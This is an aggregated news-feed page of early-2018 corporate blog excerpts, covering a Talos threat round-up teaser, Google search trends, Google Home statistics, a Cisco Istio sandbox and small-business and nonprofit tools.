Today, Talos is publishing a glimpse into the most prevalent threats we’ve observed between December 29 and January 05. As with previous round-ups, this post isn’t meant to be an in-depth analysis. Instead, this post will summarize the threats we’ve observed by highlighting key behavior characteristics, indicators of compromise, and how our customers are automatically […]

New year, new searches: resolutions, “bomb cyclone” and Coachella

It’s a new year, and some of this week’s trends (with data from Google News Lab) are about adjusting: to a new gym routine, unexpected weather, and a new law in California.

Treadmill time

New Year’s resolutions = more searches for “gyms near me.” In fact, search interest in the phrase hit an all-time high this month. Despite a heightened desire to hit the gym, interest in “new year diet” was 200 percent higher than “new year exercise” this week. Looking ahead to the new year, people are wondering: “What is a New Year’s resolution for kids?” “What is the history behind New Year’s resolutions?” and “Who made the first New Year’s resolution?”

Do you wanna build a snowman?

“What is a bomb cyclone?” was a top-searched question this week as a massive winter storm hits the east coast of the U.S. Snow is showing up in unexpected places around the country as well. When people search for “Snow in…” the post popular locations are Florida, Tallahassee and Orlando. And with cold weather taking over, search interest in “frozen pipes” has reached its highest point this week since 2004. Top “how to” searches include “how to thaw frozen pipes,” “how to keep pipes from freezing,” and “how to fix frozen pipes.”

Desert calling

Despite the cold weather, people have something warm to look forward to: The lineup for Coachella 2018 was announced this week, and search interest in “Coachella tickets” went up nearly 6,500 percent. Coachella-goers are already looking into lodging, with “Coachella airbnb” searched 100 percent more than “Coachella hotel.” The top-searched Coachella performers were Cardi B, Eminem, Beyoncé, Post Malone and Migos.

bey

Coachella isn’t even the biggest news in California …

Recreational marijuana was people’s minds (and on sale for the first time in California) this week. In California, top questions included “where to buy legal weed in Los Angeles,” “What is the tax on weed in California,” and “Where can I buy marijuana?” Meanwhile, following the announcement that the Justice Department is rescinding a policy that enabled legalized marijuana to flourish in many states, the top trending question nationwide was “Why are marijuana stocks down?”

Ready for the coin toss in the South

For the first time, two SEC teams—University of Alabama and University of Georgia—will face off in the College Football National Championship on Monday. Though the game’s outcome is yet to be decided, search interest in “Alabama Crimson Tide football” is beating “Georgia Bulldogs football” by 190 percent. After Georgia’s overtime win in the semi-final, the top trending college football questions this week were about overtime: “How does overtime work in college football?” “How many overtimes are in college football?” and “How long is overtime in college football?”

How Google Home and the Google Assistant helped you get more done in 2017

Both the Google Assistant and Google Home had a very big year in 2017, with new devices, new languages and new features. The Assistant is now available on more than 400 million devices, including speakers like Google Home, Android phones and tablets, iPhones, headphones, TVs, watches and more. We brought the Google Assistant to a dozen countries, from France to Japan, offering help in 8 languages around the globe.

With Google Home Mini and Google Home Max in addition to our original Google Home, we brought you even more ways to use the Assistant in your home. So it’s no wonder we’ve sold tens of millions of all our Google devices for the home over this last year. And in fact, we sold more than one Google Home device every second since Google Home Mini started shipping in October.

As we’ve added more features—like Voice Match,  Broadcast and Hands-Free Calling—the Google Assistant has become even more helpful. Your Assistant now gives you the power to voice control more than 1,500 compatible smart home devices from over 225 brands. With all these choices, you’ve connected millions of new smart home devices to Google Home every month. All told, Google Home usage increased 9X this holiday season over last year’s, as you controlled more smart devices, asked more questions, listened to more music, and tried out all the new things you can do with your Assistant on Google Home.

No matter where you are, the Google Assistant is here to help you make the most of 2018. And next week, we have even more things in store for the Assistant at the Consumer Electronics Show in Las Vegas. If you’re at CES, stop by the Google Assistant Playground (Central Plaza-21) to check out some of our new integrations, devices, and the newest ways you can use your Assistant.

ces

NEW DevNet Sandbox! Play live with Istio on Kubernetes to manage your microservice mesh

Most of the development world is aware of the microservices and containerisation movement, given we’re now in 2018! When folks start working with microservices, they quickly realise that they proliferate fast. One application can contain a large number of microservices that all need to interact and talk to each other for lots of different reasons […]

Top 10 Smart City Trends for 2018

Did you know that Smart Cities are poised to drive significant change in how we work, play and learn in 2018? Thanks to the explosion in big data analytics capabilities and mobile, real-time video/information sharing, historians may someday look back on this year as the fulcrum upon which technology and government fully meshed to turn […]

Google for Nonprofits: 2017 in review

Every year nonprofits worldwide work tirelessly to make a positive impact in their communities, and in a year where many people were looking to help, 2017 was no exception. We’re looking back to celebrate the nonprofits around the globe using Google tools to help in their philanthropic efforts. Here are some successes from last year—we hope they give you some ideas for how you can improve your nonprofit’s productivity and have even more impact in 2018.

Unlocking G Suite for Nonprofits

G Suite allows teams to access data anywhere, update files in real time, and collaborate efficiently. Mercy Beyond Borders, a U.S.-based nonprofit with employees deployed in various countries, uses these tools to stay in sync with each other no matter where they are—from tracking finances on Google Sheets to sharing information with board members through Google Sites. And nonprofit MyFace takes advantage of Google’s security and privacy settings to store personal medical data for their patients. Read more about how these nonprofits used G Suite, and find out how to get started with G Suite, in this post.


Learn from “G4NP in Three,” a new YouTube Series

This year we launched our first-ever G4NP YouTube series, “G4NP in Three,” aiming to help nonprofits learn the basics about the Google for Nonprofits program and the process to get enrolled for each product. The videos also cover tips and tricks on how to make the most of the tools available, all in three minutes! Check out the videos and subscribe to stay updated on our latest content.


5 new ways to connect with your customers on Google

Last year, we introduced five new ways to build an eye-catching online presence that shows customers what your business is all about. And the best part? They’re all free.

1. Create a free website in minutes

According to internal Google research, business listings with a website get 25-35% more clicks. And building your site doesn’t have to be complicated or time consuming. You can create a simple mobile-ready site for your business in less than 10 minutes with our automated website builder. Check out how Vince from Village Tailor in New York used his new website to bring in more customers.

2. Post about events, promotions, and more right on Google

It’s now easy to share Posts that show up when people find your business on Search and Maps. According to Ipsos research, 50 percent people look for promotions or discounts online, so it’s important to share offers, upcoming events, your latest news and more with potential customers right when they find your business.

3. Connect with your customers by answering their questions directly

As a business owner, you have the most reliable answers to your customers’ questions. With Questions and Answers, it’s easy to add frequently asked questions to your listing, answer questions from potential customers, and highlight top responses, so that people can get the most important info about your business right away.

4. Update your business listing without leaving Search

People trust businesses with current and relevant info online, and according to internal Google research, complete Google listings get seven times more clicks. Keep your listing updated with our easy-to-access business dashboard. Simply type your business name on Google Search, and you can complete your listing, share photos and posts related to your business, respond to reviews, and see how many views you’re getting.

5. Start messaging with your customers from Google

Customers don’t always have time to call when they want to reach out to your business. With messaging, people can text your business directly through your listing on Search. Your phone number remains private, so you and your customers can communicate safely, quickly, and easily. (Available in the US, Brazil, Canada and India).

You can use these simple features with your Google listing to stand out and attract new customers online. Get started today.

Microsoft and Adaptive Biotechnologies announce partnership using AI to decode immune system; diagnose, treat disease

The human immune system is an astonishing diagnostic system, continuously adapting itself to detect any signal of disease in the body. Essentially, the state of the immune system tells a story about virtually everything affecting a person’s health. It may sound like science fiction, but what if we could “read” this story? Our scientific understanding…

The post Microsoft and Adaptive Biotechnologies announce partnership using AI to decode immune system; diagnose, treat disease appeared first on The Official Microsoft Blog.